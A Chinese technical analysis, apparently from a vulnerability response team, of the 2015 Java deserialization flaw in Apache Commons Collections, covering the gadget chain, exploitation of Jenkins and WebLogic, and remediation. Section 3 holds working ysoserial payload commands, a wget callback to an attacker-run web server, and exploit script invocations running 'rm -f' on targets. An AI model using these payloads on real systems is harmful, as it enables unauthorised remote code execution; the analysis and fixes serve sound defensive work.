• 本文作者: 漏洞应急响应中心
  • |
  • 2015年11月19日
  • |
  • 漏洞分析
  • |

Java反序列化漏洞技术分析

1 Java反序列化漏洞背景介绍

简单来说序列化是将对象状态转换为可保持或传输的格式的过程(bytestream)。与序列化相对的是反序列化,它将流(bytestream)转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。

1.1 Java序列化

1. Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。

2. 将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化。对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象

3. 整个过程都是Java虚拟机(JVM)独立的,在windows上序列化的对象可以在centos上反序列化该对象,该过程是跨平台的。

4. 类ObjectInputStream 和ObjectOutputStream是高层次的数据流,它们包含序列化和反序列化对象的方法

下面给出一段Java将对象序列化为bytestream的范例代码。

首先定义一个Person类,该类实现了Serializable接口。

个类想要序列化成功必须要满足的条件有

1. 该类必须实现 java.io.Serializable 对象

2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的(仅存在于内存中)

3  判断一个Java标准类是否是可序列化的,只需要查看文档中该类有没有实现java.io.Serializable接口

ObjectOutputStream 类用来序列化一个对象, writeObject()方法可以实现序列化。下面是使用ObjectOutputStream类的writeObject()方法进行序列化的示例代码。将Person类序列化到myPerson.ser中

当序列化一个对象到文件时, 按照Java的标准约定是给文件一个.ser扩展名

1.2 Java反序列化

ObjectInputStream类的readObject()方法用于反序列化,下面是进行反序列化的实例代码。从myPerson.ser文件当中读取序列化后的内容并恢复到了Person类当中。

平常状况下正常的数据流被反序列化的时候产生的是预期的正常的对象。

但是当在进行反序列化的时候,被反序列化的数据是被经过恶意静心构造的,此时反序列化之后就会产生非预期的恶意对象。这个时候就可能引起任意代码执行。而ObjectInputStream这个类就是在具体工作中负责反序列化,当执行readObject()代码的时候,会读取被序列化之后的bytestream,由于Java的特性,虽然这个读入的object最终会在类型转换时出现classcastexception,但这个对象事实上已经创建了,其构造函数和类构造函数都已经被调用,也就是事实上已经有了受限制的函数执行。并且它没有对生成的对象的类型做任何限制这就为任意代码执行增加了可能。

2 通过Apache Commons Collections利用反序列化漏洞简析

Ysoserial工具在生成payload的时候支持生成4种payload Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()实现任意命令执行。影响比较广泛的就是Apache Commons Collections这个库,我们着重介绍一下通过Apache Commons Collections构造的利用。

 2.1 Commons Collections简介

Java集合框架是在JDK 1.2的重要补充。它增加了许多功能强大的数据结构,加快了很多重要的Java应用程序的开发。自那时以来,它已成为在Java集合处理中公认的标准。

Commons-Collections寻求建立在JDK类提供了新的接口,实现与功能。包括:

提供数个对象的包接口的集合

bidimap接口映射表提供从值索引键和用键找到值的支持

mapiterator接口提供简单和快速迭代的映射

转变每个对象添加到集合时的容器

复合的集合,使多个集合看起来像一个有序的映射和设置保留为元素添加,包括基于LRU的映射

在闭合控制下引用映射允许键和值被垃圾回收。

实现了许多比较器

实现了许多迭代器

适配器类数组和枚举集合

实用程序来测试或创建典型集合的集合论属性,如集合、交集和并集

Apache官方对于Commons Collections的介绍可参考该页面

https://commons.apache.org/proper/commons-collections/

Apache Commons Collections是一个Java基础容器的封装类,它抽象出了很多功能强大的接口,增加了许多功能强大的数据结构,减轻了开发人员的负担,并且显著的加快了Java应用程序的开发。

2.2 通过Apache Commons Collections利用java反序列化漏洞原理简析。

前面已经说过,我们现在已经可以构造特殊的bytestream并且通过反序列化来还原成为一个Object并且该Object的构造函数和类的构造函数都已经被调用。那么哪些类的构造函数能够提供执行代码的能力。研究者们发现如果一个应用classpath中使用了common-collections,那么就有了非常好用的ChainedTransformer和InvokerTransformer,后者甚至构造函数中直接提供了根据传入的类名和函数名反射执行之的能力!

这几个Transformer实现了transform函数,其中InvokerTransformer根据对象构造时提供的参数反射执行,ChaindTransformer将几个transformer串起来线性执行. 那么谁来调用这些transformer? TransformedMap可以接受这些transformer作为参数, 在调用其setValue函数时,就会去执行transformer,触发代码执行.

谁又来调用这个transformedMap的setValue? 到目前为止我们已经把炸药和引线都做好了,还缺火花去引燃它。

这个时候我们根据源码的调用会发现sun.reflect.annotation.AnnotationInvocationHandler满足这些条件!

关于AnnotationInvocationHandler的实现可以参考该网页。

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/c46daef6edb5/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

可以看到AnnotationInvocationHandler这个class是Serializable的。我们前面说过只有实现了Serializable的类才可以被序列化。并且在readObject()在反序列化的过程中对于memberValues的每一项都调用了setValue()函数。于是, exp就是构造一个AnnotationInvocationHandler,将含有攻击代码(runtime.exec)的transformer集合在一起作为map, 传入给handler作为参数.将此handler序列化为bytestream,直接发送给被攻击的web应用!

这里common-collections库只是提供了代码执行的一个vector,就像ROP这种内存破坏漏洞利用技巧一样,它并不是真正的漏洞.漏洞还是在于开发者在对外暴露的接口上自己随意使用了ObjectInputStream。从而造成了经过精心构造的数据存在着被恶意反序列化的可能。

3  反序列化漏洞利用实践Jenkins和weblogic

3.1 Jenkins

首先我们需要生成我们想要执行命令的payload,采用下面这个命令:

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 ‘command’ > payload

其中command是我们想要在目标机上执行的命令,不过请注意,我们的命令执行是没有任何回显的。所以我们不能够直接判断我们命令是否执行成功,需要采用间接方法。

生成payload后,使用下面命令发送攻击代码:

python jenkins.py ip port payload

jenkins.py是针对jenkins服务的,还有其他服务的,只需换成对应的python文件。然后是目标ip和端口,最后的paylaod是我们刚刚生成的文件。

获取执行结果。刚刚说过,命令没有回显。我们采用间接方式。可以在公网搭建一个临时的web服务器,然后让目标机来访问我们,如果我们的命令执行成功,目标机器就会请求我们的web页面,这样,我们通过查看web日志即可知道哪些ip是有漏洞的。

下面是一个具体演示的例子:

生成命令wget -O – http://192.168.1.212/的payload。

http://192.168.1.212/就是我临时搭建的web服务器。

java -jar ysoserial-0.0.2-all.jar CommonsCollections1 ‘wget -O – http://192.168.1.212/’ > payload

我们先清理一下web访问日志

echo> /var/log/nginx/access.log

然后向目标机器发送恶意代码:

python jenkins.py 192.168.1.212 8088 payload

然后再次查看日志

tail /var/log/nginx/access.log

我们可以看到刚刚运行后,有机器来访问我们的web服务器,从而判断了命令成功执行。

3.2 weblogic

对于weblogic的测试,要比jenkins.py麻烦一点点。Foxglovesec提供的脚本还不够智能化,对于不同的命令,需要手动修改测试脚本。下面逐一说明。

首先描述一下测试环境的搭建。

测试环境采用centos 6.5 + weblogic 10.3.6.0。

从oracle官网下载weblogic后,解压。然后进入目录下,打开终端

执行

export JAVA_HOME=/home/myhome/myjavahome

export MW_HOME=/home/myhome/mywls

JAVA_HOME是系统上的java安装目录,centos上在/usr/lib/jvm/java-1.7.0-openjdk/

。如果没有java,可以使用yum install java-1.7.0-openjdk.i686安装。

MW_HOME就是刚刚解压的目录。

设置好环境变量后,执行

./configure.sh

设置weblogic环境变量

$MW_HOME/wlserver/server/bin/setWLSEnv.sh

可以看到主要是两个环境变量CLASSPATH和PATH。

然后确认环境变量设置成功

Echo $CLASSPATH

Echo $PATH

如果发现没有上面的输出,说明设置不成功,需要手动export一下:

这些环境变量只在当前终端有效。

创建一个域。

这里采用图形界面配置

$MW_HOME/wlserver/common/bin/config.sh

这个比较简单,一直下一步

最后完成,会在当前目录下创建一个user_projects目录,里面就是我们的域。进入最里面,运行startWebLogic.sh启动服务,输入刚刚的账户密码,验证成功后服务启动。

测试脚本

Foxglovesec提供的weblogic测试脚本,需要先用ysoserial生成payload,然后在根据具体payload的总长度,修改payload的起始四个字节。这里我对原始的测试脚本进行了修改,具体测试只需要输入我们要执行的命令即可。

python weblogic.py 192.168.1.212 7001 ‘rm -f /tmp/kernux’

此处跟c0debreak提供的脚本类似。并且序列化的包采用c0debreak改写的,原始的ysoserial有bug。

运行测试脚本前

运行测试脚本

运行测试脚本后

有来自虚拟机的访问记录,说明命令成功执行。

最后附件里提供了两个修改后的测试脚本,使用方法

python weblogic.py 192.168.1.212 7001 ‘rm -f /tmp/kernux’

pythonjenkins.py 192.168.1.212 8080  ‘rm -f /tmp/kernux’

4  Java反序列化漏洞的快速排查和修复方案

目前打包有apache commons collections库并且应用比较广泛的主要组件有Jenkins WebLogic Jboss WebSphere  OpenNMS。其中Jenkins由于功能需要大都直接暴露给公网。

首先确认产品中是否包含上述5种组件

使用grep命令或者其他相关搜索命令检测上述组件安装目录是否包含库Apache Commons Collections。搜索下列jar。

commons-collections.jar

*.commons-collections.jar

apache.commons.collections.jar

*.commons-collections.*.jar

如果包含请参考下述解决方案进行修复。

4.1 Weblogic

临时解决方案

1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;

2 在不影响业务的情况下,临时删除掉项目里的

“org/apache/commons/collections/functors/InvokerTransformer.class” 文件;

官方解决方案

官方声明:

http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html

Weblogic 用户将收到官方的修复支持

4.2  Jboss

临时解决方案

1 删除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和

InstantiateTransfromer class 文件

官方解决方案

请关注官方issue:

https://issues.apache.org/jira/browse/COLLECTIONS-580

4.3  jenkins

临时解决方案

1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;

2 在不影响业务的情况下,临时删除掉项目里的

“org/apache/commons/collections/functors/InvokerTransformer.class” 文件;

官方解决方案

官方的补丁声明链接:

https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execut

ion-0-day-jenkins-cli

https://github.com/jenkinsci-cert/SECURITY-218

4.4  websphere

临时解决方案

1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;

2 在不影响业务的情况下,临时删除掉项目里的

“org/apache/commons/collections/functors/InvokerTransformer.class” 文件;

 

SerialKiller临时补丁下载地址: :https://github.com/ikkisoft/SerialKiller

Written by 漏洞应急响应中心